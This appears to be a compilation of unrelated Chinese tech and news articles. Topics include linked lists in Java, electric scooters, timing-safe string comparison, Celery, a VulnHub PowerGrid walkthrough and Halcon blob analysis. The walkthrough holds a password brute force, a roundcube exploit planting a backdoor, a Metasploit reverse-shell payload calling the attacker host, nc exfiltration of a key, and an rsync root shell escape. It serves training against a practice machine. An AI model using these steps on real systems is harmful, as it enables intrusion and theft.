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線性表的鏈式存儲–單鏈表

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Java之線性表的鏈式存儲——單鏈表

我們都知道，線性表的存儲結構分為兩種，順序存儲結構和鏈式存儲結構，線性表的分類可以參考下圖來學習記憶。今天我們主要來學習一下鏈式存儲結構。

一、鏈式存儲介紹

“鏈式存儲結構，地址可以連續也可以不連續的存儲單元存儲數據元素”——來自定義。

其實，你可以想象這樣一個場景，你想找一個人（他的名字叫小譚）,於是你首先去問 A ， A 說他不知道，但是他說 B 可能知道，並告訴了你 B 在哪裡，於是你找到 B ，B 說他不知道，但是他說 C 可能知道，並告訴了你 C 的地址，於是你去找到 C ，C 真的知道小譚在何處。

上面場景其實可以幫助我們去理解鏈表，其實每一個鏈表都包含多個節點，節點又包含兩個部分，一個是數據域（儲存節點含有的信息），一個是指針域（儲存下一個節點或者上一個節點的地址），而這個指針域就相當於你去問B，B知道C的地址，這個指針域就是存放的 C 的地址。

鏈表下面其實又細分了3種：單鏈表、雙向鏈表和循環鏈表。今天我們先講單鏈表。

二、單鏈表介紹

什麼是單鏈表呢？單鏈表就是每一個節點只有一個指針域的鏈表。如下圖所示，就是一個帶頭節點的單鏈表。下面我們需要知道什麼是頭指針，頭節點和首元節點。

頭指針：指向鏈表節點的第一個節點的指針

頭節點：指在鏈表的首元節點之前附設的一個節點

首元節點：指在鏈表中存儲第一個實際數據元素的節點（比如上圖的 a1 節點）

三、單鏈表的創建

單鏈表的創建有兩種方式，分別是頭插法和尾插法。

1、頭插法

頭插法，顧名思義就是把新元素插入到頭部的位置，每次新加的元素都作為鏈表的第一個節點。那麼頭插入法在Java中怎麼實現呢。首先我們需要定義一個節點，如下

public class ListNode {
  public int val; //數據域
  public ListNode next;//指針域
}

然後我們就創建一個頭指針（不帶頭節點）

//元素個數
int n = 5;
//創建一個頭指針
ListNode headNode = new ListNode();
//頭插入法
headNode= createHead(headNode, n);

然後創建一個私有方法去實現頭插法，這裏我們插入5個新元素，頭插入的核心是要先斷開首元節點和頭指針的連接，也就是需要先將原來首元節點的地址存放到新節點的指針域里，也就是 newNode.next = headNode.next，然後再讓頭指針指向新的節點 headNode.next = newNode，這兩步是頭插入的核心，一定要理解。

/**
 * 頭插法
 * 新的節點放在頭節點的後面，之前的就放在新節點的後面
 * @param headNode 頭指針
 * @return
 */
private static ListNode createHead(ListNode headNode, int n) {
  //插入5個新節點
  for (int i = 1; i <= n; i++) {
    ListNode newNode = new ListNode();
    newNode.val = i;
    //將之前的所有節點指向新的節點（也就是新節點指向之前的所有節點）
    newNode.next = headNode.next;
    //將頭指針指向新的節點
    headNode.next = newNode;
  }
  return headNode;
}

最後我把鏈表打印輸出一下（其實也是單鏈表的遍歷），判斷條件就是只有當指針域為空的時候才是最後一個節點。

private static void printLinkedList(ListNode headNode) {
  int countNode = 0;
  while (headNode.next != null){
    countNode++;
    System.out.println(headNode.next.val);
    headNode = headNode.next;
  }
  System.out.println("該單鏈表的節點總數：" +countNode);
}

最後的輸出結果顯然是逆序，因為沒一個新的元素都是從頭部插入的，自然第一個就是最後一個，最後一個就是第一個：

2、尾插法

尾插法，顧名思義就是把新元素插入到尾部的位置（也就是最後一個位置），每次新加的元素都作為鏈表的第最後節點。那麼尾插法在 Java 中怎麼實現呢，這裏還是採用不帶頭節點的實現方式，頭節點和頭指針和頭插入的實現方式一樣，這裏我就直接將如何實現：

/**
 * 尾插法
 * 找到鏈表的末尾結點，把新添加的數據作為末尾結點的後續結點
 * @param headNode
 */
private static ListNode createByTail(ListNode headNode, int n) {
  //讓尾指針也指向頭指針
  ListNode tailNode = headNode;
  for (int i = 1; i <= n; i++) {
    ListNode newNode = new ListNode();
    newNode.val = i;
    newNode.next = null;

    //插入到鏈表尾部
    tailNode.next = newNode;
    //指向新的尾節點，tailer永遠存儲最後一個節點的地址
    tailNode = newNode;

  }
  return headNode;
}

和頭插入不同的是，我們需要聲明一個尾指針來輔助我們實現，最開始，尾指針指向頭指針，每插入一個元素，尾指針就后移一下，這裏我們來講一下原理：每次往末尾新加一個節點，我們就需要把原來的連接斷開，那怎麼斷開呢，我們首先需要讓尾指針指向新的節點，也就是 tailNode.next = newNode; 然後再讓尾指針后移一個位置，讓尾指針指向最後一個節點。也就是尾指針始終指向最後一個節點，最後將頭指針返回，輸出最後結果：

四、單鏈表的刪除

既然單鏈表創建好了，怎麼在鏈表裡面刪除元素呢，單鏈表的刪除，我分為了兩種情況刪除，分別是刪除第i個節點和刪除指定元素的節點。

1、刪除第i個節點

我們可以先來理一下思路：在單鏈表裡，節點與節點之間都是通過指針域鏈接起來的，所以如果我們想實現刪除的操作，實際上是需要我們去改變相應指針域對應得地址的。當想去刪除第i個元素的時候，比如要刪除上圖的第3個元素（也就是3），實際上我們要做的就是要讓2號元素指向4號元素（其實就是需要修改2號元素的指針域，讓2號元素的指針域存儲4號元素）。那麼怎麼做才能實現這一步呢？很顯然，要實現這個步驟，我們必須要找到4號元素和2號元素，但是再仔細想一下，其實我們只需要找到2號元素就可以了，因為4號元素的地址存儲再2號的下一個元素的指針域裏面。

所以綜上所述分析我們可以得出刪除的兩個核心步驟：

1.刪除第i個節點，需要先找到第 i-1 個個節點，也就是第i個節點的前一個節點；

2.然後讓第 i-1 個節點指向第 i-1 個節點的下下個節點

下面的代碼具體實現了怎麼刪除第i個元素。

/**
 * 刪除第i個節點
 * 1,2 4,4,5
 * 刪除之後應該是1,2,4,5
 * @param headNode
 * @param index
 * @return
 */
public static ListNode deleteNodeByIndex(ListNode headNode, int index) {
  int count = 1;
  //將引用給它
  ListNode preNode = headNode;
  //看計數器是不是到了i-1，如果到了i-1,就找到了第i-1個節點
  while (preNode.next != null && count <= index -1){
    //尋找要刪除的當前節點的前一個節點
    count++;
    preNode = preNode.next;
  }
  if (preNode != null){
    preNode.next = preNode.next.next;
  }
  return headNode;
}

2、刪除指定元素的那個節點

刪除指定元素節點的實現方法有兩種，第一種就是先找到指定元素對應的鏈表的位置（ index ），然後再按照刪除第 i 個節點的思路刪除即可。實現方法如下圖所示：

/**
 * 刪除鏈表指定數值的節點
 * @param headNode
 * @param val
 * @return
 */
private static ListNode deleteNodeByNum(ListNode headNode, int val) {
  ListNode deleteOne = headNode;
  int countByDeleteOne = 1;
  while (deleteOne.next != null){
    if (deleteOne.next.val == val){
      deleteOne = deleteOne.next;
      break;
    }
    countByDeleteOne ++;
    deleteOne = deleteOne.next;
  }
  return deleteNodeByIndex(headNode, countByDeleteOne);
}

第二種方法的實現就很精妙（前提是此節點不是尾節點）

public void deleteNode(ListNode node) {
  //刪除node即通過將後面的值賦給node，然後更改node的指針指向下下一個結點即可
  node.val = node.next.val;
  node.next = node.next.next;
}

五、單鏈表的查詢（及修改）

單鏈表的查詢實現很簡單，就是遍歷當前單鏈表，然後用一個計數器累加到當前下標，那麼當前的這個節點就是要查詢的那個節點，然後再返回即可，當然需要判斷傳過來的這個下標是否合法。當然如果需要修改，就需要把當前找到的節點的數據域重新賦上需要修改的值即可，這裏就不上代碼了。具體實現如下：

private static ListNode searchLinkedList(ListNode headNode, int index) {
  //如果下標是不合法的下標就表示找不到
  if (index < 1 || index > getLinkedListLength(headNode)){
      return null;
  }
  for (int i = 0; i < index; i++) {
    headNode = headNode.next;
  }
  return headNode;
}

獲取單鏈表的長度（注意我這裏定義的 headNode 是頭指針不是頭節點）

/**
 * 求單鏈表長度
 * @param headNode
 * @return
 */
private static int getLinkedListLength(ListNode headNode) {
  int countNode = 0;
  while (headNode.next != null){
    countNode++;
    headNode = headNode.next;
  }
 return countNode;
}

六、小結

單鏈表的相關操作就講解完了，其實通過上面對單鏈表的相關操作，我們不難發現，單鏈表的刪除和插入其實很方便，只需要改變指針的指向就可以完成，但是查找元素的時候就比較麻煩，因為在查找的時候，需要把整個鏈表從頭到尾遍歷一次。

公眾號：良許Linux

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特斯拉與 BMW 談合作 可望發展碳纖維與電池技術

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特斯拉（Tesla）明星執行長 Elon Musk 爆料，德國豪華車品牌 BMW 與特斯拉曾洽商合作，範圍涵蓋電池與輕量化車體零件。   Musk 在接受德國媒體 Der Spiegel 專訪時表示，對 BMW 以碳纖維材料強化車體感到非常有興趣，認為相當具成本效益，雙方在非正式場合會面時，有討論過合作的可能，但尚未達成決議。   據路透社報導，BMW 為發展碳纖維原料而成立合資公司 SGL，i3 電動車與 i8 油電混合動力跑車的駕駛艙與後蓋零件均採用到碳纖維材料。除此之外，Musk 還透露有意與 BMW 一起搞電池科技，以及電動車充電站，他甚至於計畫 5~6 年內在德國蓋一座電池廠。

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不需充電的零排放氫燃料電池機車 北市府試用評估成效

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    繼新北市電動機車 E-bike 於 10 月上路後，台北市政府也採用能源局補助業者研發旳氫燃料電池機車，每台配備 2 支金屬儲氫罐，交換費用 30 元，行駛中排水，但二氧化碳排放為 0，續航力定速時可達 86 公里，不過，若在行駛市區時，遇上紅綠燈走走停停，續航力會降為 50 公里。環保局表示，廠商提供試騎的 15 輛氫燃料電池機車將用於環保稽查、工地巡查、土地丈量等業務。   環保局表示，氫燃料電池首創用於機車，金屬容器包覆氫氧化物粉末，相較氣體狀較安全，業者提供的 15 部試騎機車將停於於市府公務停車場，也會提供交換氣體，試用 3 個月後評估成效。   負責研發的亞太燃料電池科技專案經理陳建豪表示，氣燃料電池不須充電，而是利用能源轉換，將氫氣透過觸媒轉換成電能，轉換過程僅會排放水，該款氫燃料電池機車時速最快可達 60 公里。業者說，量產後機車售價約 7 萬元，但免燃料稅。陳建豪表示，全球各國多有氫燃料電池的安全使用規範，但台灣沒有，盼政府能協助立法。     （Source：）

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桃園縣大力推廣電動機車 購買補助額度全國第一

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隨著環保意識抬頭，越來越多地方政府推政策因應環保趨勢。桃園縣環保局鼓勵民眾使用電動機車，除了購車補助額度位居全國第一，更推出免費試騎 7 天的活動，讓民眾能夠體驗電動機車的高續航力及充電迅速等便利性，增加使用環保運具的意願。

桃園縣政府環境保護局為改善空氣品質，積極推廣使用電動機車等低污染交通工具，環保局局長陳世偉表示，電動車輛具有零加油、零廢氣、低保養、低噪音及低充電費等特性，是最環保的交通工具；尤其現在電池技術成熟，使得電動車輛的續航力大增，壽命也有效延長保固。

  （Source：）

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這 10 行比較字符串相等的代碼給我整懵逼了，不信你也來看看|原創版

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抱歉用這種標題吸引你點進來了，不過你不妨看完，看看能否讓你有所收穫。​（有收穫，請評論區留個言，沒收穫，下周末我直播吃**，哈哈，這你也信）

補充說明：微信公眾號改版，對各個號主影響還挺大的。目前從後台數據來看，對我影響不大，因為我這反正都是小號，閱讀量本身就少的可憐，真相了，狗頭（剛從交流群學會的表情）。

先直接上代碼：

boolean safeEqual(String a, String b) { if (a.length() != b.length()) { return false; } int equal = 0; for (int i = 0; i < a.length(); i++) { equal |= a.charAt(i) ^ b.charAt(i); } return equal == 0; }

上面的代碼是我根據原版（Scala）翻譯成 Java的，Scala 版本（最開始吸引程序猿石頭注意力的代碼）如下：

def safeEqual(a: String, b: String) = { if (a.length != b.length) { false } else { var equal = 0 for (i <- Array.range(0, a.length)) { equal |= a(i) ^ b(i) } equal == 0 } }

剛開始看到這段源碼感覺挺奇怪的，這個函數的功能是比較兩個字符串是否相等，首先“長度不等結果肯定不等，立即返回”這個很好理解。

再看看後面的，稍微動下腦筋，轉彎下也能明白這其中的門道：通過異或操作1^1=0, 1^0=1, 0^0=0，來比較每一位，如果每一位都相等的話，兩個字符串肯定相等，最後存儲累計異或值的變量equal必定為 0，否則為 1。

再細想一下呢？

for (i <- Array.range(0, a.length)) { if (a(i) ^ b(i) != 0) // or a(i) != b[i] return false }

我們常常講性能優化，從效率角度上講，難道不是應該只要中途發現某一位的結果不同了（即為1）就可以立即返回兩個字符串不相等了嗎？(如上所示)

這其中肯定有……

再再細想一下呢？

結合方法名稱 safeEquals 可能知道些眉目，與安全有關。

本文開篇的代碼來自playframewok 里用來驗證cookie(session)中的數據是否合法(包含簽名的驗證)，也是石頭寫這篇文章的由來。

以前知道通過延遲計算等手段來提高效率的手段，但這種已經算出結果卻延遲返回的，還是頭一回！

我們來看看，JDK 中也有類似的方法，如下代碼摘自 java.security.MessageDigest：

public static boolean isEqual(byte[] digesta, byte[] digestb) { if (digesta == digestb) return true; if (digesta == null || digestb == null) { return false; } if (digesta.length != digestb.length) { return false; } int result = 0; // time-constant comparison for (int i = 0; i < digesta.length; i++) { result |= digesta[i] ^ digestb[i]; } return result == 0; }

看註釋知道了，目的是為了用常量時間複雜度進行比較。

但這個計算過程耗費的時間不是常量有啥風險？ （腦海里響起了背景音樂：“小朋友，你是否有很多問號？”）

真相大白

再深入探索和了解了一下，原來這麼做是為了防止計時攻擊（Timing Attack）。（也有人翻譯成時序攻擊​）​

計時攻擊(Timing Attack)

計時攻擊是邊信道攻擊(或稱”側信道攻擊”， Side Channel Attack， 簡稱SCA) 的一種，邊信道攻擊是一種針對軟件或硬件設計缺陷，走“歪門邪道”的一種攻擊方式。

這種攻擊方式是通過功耗、時序、電磁泄漏等方式達到破解目的。在很多物理隔絕的環境中，往往也能出奇制勝，這類新型攻擊的有效性遠高於傳統的密碼分析的數學方法（某百科上說的）。

這種手段可以讓調用 safeEquals("abcdefghijklmn", "xbcdefghijklmn") （只有首位不相同）和調用 safeEquals("abcdefghijklmn", "abcdefghijklmn") （兩個完全相同的字符串）的所耗費的時間一樣。防止通過大量的改變輸入並通過統計運行時間來暴力破解出要比較的字符串。

舉個，如果用之前說的“高效”的方式來實現的話。假設某個用戶設置了密碼為 password，通過從a到z（實際範圍可能更廣）不斷枚舉第一位，最終統計發現 p0000000 的運行時間比其他從任意a~z的都長（因為要到第二位才能發現不同，其他非 p 開頭的字符串第一位不同就直接返回了），這樣就能猜測出用戶密碼的第一位很可能是p了，然後再不斷一位一位迭代下去最終破解出用戶的密碼。

當然，以上是從理論角度分析，確實容易理解。但實際上好像通過統計運行時間總感覺不太靠譜，這個運行時間對環境太敏感了，比如網絡，內存，CPU負載等等都會影響。

但安全問題感覺更像是 “寧可信其有，不可信其無”。為了防止(特別是與簽名/密碼驗證等相關的操作)被 timing attack，目前各大語言都提供了相應的安全比較函數。各種軟件系統（例如 OpenSSL）、框架（例如 Play）的實現也都採用了這種方式。

例如 “世界上最好的編程語言”（粉絲較少，評論區應該打不起架來）—— php中的:

// Compares two strings using the same time whether they're equal or not. // This function should be used to mitigate timing attacks; // for instance, when testing crypt() password hashes. bool hash_equals ( string $known_string , string $user_string ) //This function is safe against timing attacks. boolean password_verify ( string $password , string $hash )

其實各種語言版本的實現方式都與上面的版本差不多，將兩個字符串每一位取出來異或(^)並用或(|)保存，最後通過判斷結果是否為 0 來確定兩個字符串是否相等。

如果剛開始沒有用 safeEquals 去實現，後續的版本還會通過打補丁的方式去修復這樣的安全隱患。

例如 JDK 1.6.0_17 中的Release Notes[1]中就提到了MessageDigest.isEqual 中的bug的修復，如下圖所示：

MessageDigest timing attack vulnerabilities

大家可以看看這次變更的的詳細信息openjdk中的 bug fix diff[2]為：

MessageDigest.isEqual計時攻擊

Timing Attack 真的可行嗎？

我覺得各大語言的 API 都用這種實現，肯定還是有道理的，理論上應該可以被利用的。 這不，學術界的這篇論文就宣稱用這種計時攻擊的方法破解了 OpenSSL 0.9.7 的RSA加密算法了。關於 RSA 算法的介紹可以看看之前本人寫的這篇文章。

這篇Remote Timing Attacks are Practical[3] 論文中指出（我大致翻譯下摘要，感興趣的同學可以通過文末鏈接去看原文）：

計時攻擊往往用於攻擊一些性能較弱的計算設備，例如一些智能卡。我們通過實驗發現，也能用於攻擊普通的軟件系統。本文通過實驗證明，通過這種計時攻擊方式能夠攻破一個基於 OpenSSL 的 web 服務器的私鑰。結果證明計時攻擊用於進行網絡攻擊在實踐中可行的，因此各大安全系統需要抵禦這種風險。

最後，本人畢竟不是專研完全方向，以上描述是基於本人的理解，如果有不對的地方，還請大家留言指出來。感謝。

補充說明2：感謝正在閱讀文章的你，讓我還有動力繼續堅持更新原創。

本人發文不多，但希望寫的文章能達到的目的是：佔用你的閱讀時間，就盡量能夠讓你有所收穫。

如果你覺得我的文章有所幫助，還請你幫忙轉發分享，另外請別忘了點擊公眾號右上角加個星標，好讓你別錯過後續的精彩文章（微信改版了，或許我發的文章都不能推送到你那了）。

​原創真心不易，希望你能幫我個小忙唄，如果本文內容你覺得有所啟發，有所收穫，請幫忙點個“在看”唄，或者轉發分享讓更多的小夥伴看到。 ​ 參考資料：

  • Timing Attacks on RSA: Revealing Your Secrets through the Fourth Dimension
  • Remote Timing Attacks are Practical

參考資料

[1] Release Notes: http://www.oracle.com/technetwork/java/javase/6u17-141447.html

[2] openjdk中的 bug fix diff: http://hg.openjdk.java.net/jdk6/jdk6/jdk/rev/562da0baf70b

[3] Remote Timing Attacks are Practical: http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf

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Celery淺談

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一、Celery 核心模塊

1. Brokers

brokers 中文意思為中間人，在這裏就是指任務隊列本身，接收生產者發來的消息即Task，將任務存入隊列。任務的消費者是Worker，Brokers 就是生產者和消費者存放/拿取產品的地方(隊列)。Celery 扮演生產者和消費者的角色。

常見的 brokers 有 rabbitmq、redis、Zookeeper 等。推薦用Redis或RabbitMQ實現隊列服務。

2. Workers

就是 Celery 中的工作者，執行任務的單元，類似與生產/消費模型中的消費者。它實時監控消息隊列，如果有任務就從隊列中取出任務並執行它。

3. Backend / Result Stores

用於存儲任務的執行結果。隊列中的任務運行完后的結果或者狀態需要被任務發送者知道，那麼就需要一個地方儲存這些結果，就是 Result Stores 了。

常見的 backend 有 redis、Memcached 甚至常用的數據庫都可以。

4. Tasks

就是想在隊列中進行的任務，有異步任務和定時任務。一般由用戶、觸發器或其他操作將任務入隊，然後交由 workers 進行處理。

5. Beat

定時任務調度器，根據配置定時將任務發送給Brokers。

二、Celery 基本使用

1.創建一個celery application 用來定義你的任務列表，創建一個任務文件就叫tasks.py吧。

from celery import Celery
 
# 配置好celery的backend和broker
app = Celery('task1',  backend='redis://127.0.0.1:6379/0', broker='redis://127.0.0.1:6379/0')
  
#普通函數裝飾為 celery task
@app.task 
def add(x, y):
    return x + y

如此而來，我們只是定義好了任務函數func函數和worker(celery對象)。worker相當於工作者。

2.啟動Celery Worker來開始監聽並執行任務。broker 我們有了，backend 我們有了，task 我們也有了，現在就該運行 worker 進行工作了，在 tasks.py 所在目錄下運行：

[root@localhost ~]# celery -A tasks worker --loglevel=info    # 啟動方法1
[root@localhost ~]# celery -A tasks worker --l debug          # 啟動方法2

現在 tasks 這個任務集合的 worker 在進行工作（當然此時broker中還沒有任務，worker此時相當於待命狀態），如果隊列中已經有任務了，就會立即執行。

3.調用任務：要給Worker發送任務，需要調用 delay() 方法。

import time
from tasks import add
 
# 不要直接add(6, 6)，這裏需要用 celery 提供的接口 delay 進行調用
result = add.delay(6, 6)
while not result.ready():
    time.sleep(1)
print('task done: {0}'.format(result.get()))

三、Celery 進階使用

1.celery_config.py：配置文件

from __future__ import absolute_import, unicode_literals
#從python的絕對路徑導入而不是當前的腳本     #在python2和python3做兼容支持的
 
BROKER_URL = 'redis://127.0.0.1:6379/0'
# 指定結果的接受地址
CELERY_RESULT_BACKEND = 'redis://127.0.0.1:6379/0'

2.tasks.py

from __future__ import absolute_import, unicode_literals
#從python的絕對路徑導入而不是當前的腳本     #在python2和python3做兼容支持的
from celery import Celery
 
# 配置好celery的backend和broker, task1:app的名字。broker
app = Celery('task1',                              #
             broker='redis://127.0.0.1:6379/0',   # 消息隊列：連rabbitmq或redis
             backend='redis://127.0.0.1:6379/0')  # 存儲結果：redis或mongo或其他數據庫
  
app.config_from_object("celery_config")
app.conf.update(         # 給app設置參數
    result_expires=3600, # 保存時間為1小時
)
 
#普通函數裝飾為 celery task
@app.task 
def add(x, y):
    return x + y
     
if __name__ == '__main__':
    app.start()

3.啟動worker

[root@localhost ~]``# celery -A tasks worker --loglevel=info

4.test.py

import time
from tasks import add
 
# 不要直接add(4, 4)，這裏需要用 celery 提供的接口 delay 進行調用
result = add.delay(6, 6)
print(result.id)
while not result.ready():
    time.sleep(1)
print('task done: {0}'.format(result.get()))

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VulnHub PowerGrid 1.0.1靶機滲透

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​本文首發於微信公眾號：VulnHub PowerGrid 1.0.1靶機滲透，未經授權，禁止轉載。

難度評級：官網地址：https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼雲盤：https://cloud.189.cn/t/2UN7Ffiuqyym百度網盤：https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取碼：r4zc官網簡介：靶機會進行計時，即使關閉虛擬機也不會停止，超時后將銷毀證據滲透目標：獲取root權限，找到4個flag本機地址：192.168.110.27靶機地址：192.168.110.36

​

 

信息收集

話不多說，直接上nmap看靶機IP。

nmap 192.168.110.0/24 -sP

本機是192.168.110.27，那靶機就是192.168.110.36。接着掃一下端口。

nmap -A -p- 192.168.110.36

沒有打開22號端口可還行，第一次見到這麼任性的靶機。沒關係，80端口終歸還是打開了的，看看網頁。

網頁端显示了一個計時器，文字說明提示這是一封勒索信，3個小時之內要交250億歐元，這黑客可是真夠黑的。不過，這個網頁的最後透露了deez1、p48、all2這幾個用戶名，需要留意一下。

按照規矩，一般都會遍歷一下網頁的目錄。

dirb http://192.168.110.36

什麼也沒有可還行，不過按照以前的經驗(VulnHub CengBox2靶機滲透)，有可能是默認字典不夠大，使用dirbuster的字典再掃一次。

dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w

發現images目錄和zmail頁面。

images目錄就是兩張背景圖片，沒什麼用，而訪問zmail頁面則彈出一個登錄對話框，使用幾個常見密碼和用戶名登錄失敗，嘗試使用burp爆破。

對登錄界面抓包后發現用戶名密碼採用了Base64編碼，使用burp自帶的解碼器解碼。

其實就是在用戶名和密碼之間插入了一個冒號。接下來使用最經典的rockyou密碼字典爆破，用戶名則選擇deez1、p48、all2。

經過漫長的等待，終於發現有一個響應包的長度跟其他的不一樣。

成功獲取登錄密碼，登錄后發現又是一個登錄界面。

使用同樣的用戶名密碼登錄嘗試，登錄成功(簡直多此一舉)。登錄后發現root發送過來了一封右鍵。

郵件中寫道還有另一台服務器，下面的加密信息就是SSH的私鑰，是用p48的gpg私鑰加密的，可以用來登錄那台服務器但沒必要。呵呵，沒必要？我會聽你的？你個糟老頭子壞得很。不過暫時還沒有辦法解密消息，先把加密消息保存下來。

由於在網頁端可以寫郵件，因此猜測能通過附件上傳PHP木馬，經過嘗試后並不奏效，只好去查找roundcube的漏洞。

msfconsole search roundcube

痛苦，在Metasploit里找不到相關漏洞。不過不用灰心，說不定在網上能找到。

經過查找后發現小於1.2.2版本的roundcube存在代碼執行漏洞，編碼為CVE-2016-9920，GitHub鏈接為：https://github.com/t0kx/exploit-CVE-2016-9920。

git clone https://github.com/t0kx/exploit-CVE-2016-9920.git

 

 

漏洞利用

這個exp是用python寫的，不過作者給的示例都不能使用，因為靶機上有兩個登錄界面，而正常來說，網站只需要登錄一次就夠了。另外，需要更改exp的發件人與收件人。

./exploit.py --host p48:electrico@192.168.110.36 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"

攻擊成功，現在只需要訪問http://192.168.110.36/zmail/backdoor.php即可執行命令了。先看看/var/www/目錄下都有些啥東西。

很好，發現了第一個flag文件，趕緊查看一下內容。

提示是pivote，並沒有什麼用。既然已經可以執行任意命令，那麼就可以配合msf獲取shell。

msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun

執行之後會显示一條以php開頭的命令，複製到瀏覽器訪問。

這時msf已經成功獲取session了。

sessions -lsessions -i 1shell

很無奈，每次拿到的shell都很不好用，沒有安全感。利用python將難用的shell改成bash。

whereis python

發現有python2.7和python3.7。

python3.7 -c 'import pty; pty.spawn("/bin/bash")'

成功獲取了www-data的bash，接下來就要作點妖了，先看看家目錄下都有哪些用戶。

cd /homels

很好，有一個叫p48的用戶，這個用戶的網頁端密碼之前已經爆破出來了，嘗試切換到p48。

完美，p48跟我一樣，喜歡一個密碼到處用，更驚喜的是p48家目錄下有一個gpg私鑰，這應該就是可以解密網頁端加密消息的私鑰了(翻譯翻譯，什麼叫驚喜)。

不過奇怪的是，靶機上竟然沒有gpg命令，必須拷貝到攻擊主機上才能解密。

nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg

接下來解密文件。

gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa

解密后還需要把id_rsa傳回到靶機，同樣使用的nc，這裏就不贅述了。

現在問題來了，這個SSH私鑰文件是要拿來連接誰的呢？郵件里root說的另一台服務器在哪呢？莫非這台靶機上還運行了虛擬機？查看一下IP看看有什麼貓膩。

有一個叫docker0的網卡，這台靶機應該還運行着docker，所謂的另一台服務器應該就在容器里運行着。

掃一下172.17.0.0/24這個網段(網卡信息显示網段為172.17.0.0/16，不過172.17.0.0/24的範圍更大，因此不會漏掉可能的IP)，看看另一台靶機的端口是多少。由於靶機沒有安裝nmap，所以只能使用循環加ping的方法判斷。

for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done

還好IP比較靠前，一下子就掃出來了。接着使用SSH私鑰登錄。

chmod 600 id_rsassh -i id_rsa p48@172.17.0.2

登錄后很容易就發現了第二個flag。

第二個flag提示p48的用戶權限不高，很明顯，這是提示要提權了。

 

 

 

權限提升

首先看看有什麼命令是可以提權執行的。

sudo -l

rsync命令可以免密碼以root用戶權限運行，rsync命令可以理解成一個加強版的cp命令，既然可以使用root權限運行，那麼就可以把/root/下的所有文件拷貝到/tmp目錄下查看。

第三個flag已經出來了，這個flag提示pivoting backwards，難不成第四個flag在docker外？由於最開始掃描靶機端口時22號端口沒有打開，這裏又提示要往回找第四個flag，我們有理由懷疑靶機在docker0網卡上開放了SSH服務，往外連接試試。

實錘了，可以通過172.17.0.1連接到靶機。不過並不知道密碼，p48用戶家目錄下的.ssh目錄里也沒有存放SSH私鑰，這是一件很頭疼的事。

經過查詢，發現rsync命令不僅可以用來拷貝文件，還可以用來提權。

sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami

很好，已經成功提權到root，接下來查看/root/.ssh/目錄下有沒有SSH私鑰。

cd /root/.sshlsssh -i id_rsa root@172.17.0.1

不出所料，成功登錄到外面的靶機。接下來就是查找第四個flag了。

第四個flag就存放在/root/目錄下，根據提示，這是最後一個flag了。

至此，對PowerGrid的滲透已經全部完成。

 

 

 

總結

這個靶機整體偏難，首先是網頁端的爆破，一般的密碼字典很難跑出來，而rockyou這個密碼字典又很大，如果不耐心等待的話很難爆破出來。
其次是這台靶機多次用到了公私鑰，如果對非對稱加密和gpg工具不熟悉的話，可能就會無法進入下一關。

這台靶機還運行着docker，就相當於有兩台靶機，這是PowerGrid比較新穎的地方。另外，3個小時的時間限制也為滲透增加了幾分緊張刺激的氣氛。

整體來說，這台靶機在形式上有一定的創新性，很值得下載下來親自復現一下。

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Halcon斑點分析官方示例講解

access_timePosted on by admin

官方示例中有許多很好的例子可以幫助大家理解和學習Halcon，下面舉幾個經典的斑點分析例子講解一下

Crystals

圖中显示了在高層大氣中採集到的晶體樣本的圖像。任務是分析對象以確定特定形狀的頻率。重要的對象之一是六角形。

首先，使用read_image從文件中讀取圖像。由於晶體的對比度相對較低且結合了不均勻的背景，因此使用局部閾值執行對象的分割。該輪次由平均過濾器mean_image確定。選擇濾光罩的尺寸，使其具有暗區寬度的大約三倍。 dyn_threshold現在將平滑的和原始的灰色進行比較，選擇那些通過8個灰度值的對比而變暗的像素。connection將對象分為連接的組件。下圖显示了此初始分割的結果。

read_image (Image, 'crystal')
mean_image (Image, ImageMean, 21, 21)
dyn_threshold (Image, ImageMean, RegionDynThresh, 8, 'dark')
connection (RegionDynThresh, ConnectedRegions)

現在的任務是僅選擇六邊形的晶體。為此，首先變成他們的凸包，這就像在每個區域周圍都使用橡皮筋。在這些區域中，選擇那些具有較大的（select_shape）並具有給定灰度值分佈（select_gray）的對象。確定選擇的參數，以便僅保留相關的晶體如下圖。

shape_trans (ConnectedRegions, ConvexRegions, 'convex')
select_shape (ConvexRegions, LargeRegions, 'area', 'and', 600, 2000)
select_gray (LargeRegions, Image, Crystals, 'entropy', 'and', 1, 5.6)

源程序

* crystal.hdev: extraction of hexagonally shaped crystals via local thresholding and region post-processing
* 
dev_close_window ()
dev_update_window ('off')
* ****
* step: acquire image獲取圖像
* ****
read_image (Image, 'crystal')
get_image_size (Image, Width, Height)
dev_open_window_fit_image (Image, 0, 0, Width, Height, WindowID)
set_display_font (WindowID, 12, 'mono', 'true', 'false')
dev_set_draw ('margin')
dev_set_line_width (2)
dev_display (Image)
disp_continue_message (WindowID, 'black', 'true')
stop ()
* ****
* step: segment image分割圖像
* ****
* -> using a local threshold
mean_image (Image, ImageMean, 21, 21)
dyn_threshold (Image, ImageMean, RegionDynThresh, 8, 'dark')
* -> extract connected components
connection (RegionDynThresh, ConnectedRegions)
dev_display (ConnectedRegions)
disp_continue_message (WindowID, 'black', 'true')
stop ()
* ****
* step: process regions處理區域
* ****
shape_trans (ConnectedRegions, ConvexRegions, 'convex')
select_shape (ConvexRegions, LargeRegions, 'area', 'and', 600, 2000)
select_gray (LargeRegions, Image, Crystals, 'entropy', 'and', 1, 5.6)
dev_display (Image)
dev_display (Crystals)
Atoms

專業顯微鏡能夠確定單個原子的大致位置，這對於例如分析PN結晶體的晶格變化很有用，使用分水嶺方法在這類圖片上細分效果很好。在這裏，每個暗區作為單個區域返回。因為在圖像的外部原子僅部分可見，第一個任務是僅提取那些不靠近圖像邊界的原子。最後提取不規則，這是通過尋找形狀（被擠壓）的異常原子實現的。

gauss_filter (Image, ImageGauss, 5)
watersheds (ImageGauss, Basins, Watersheds)

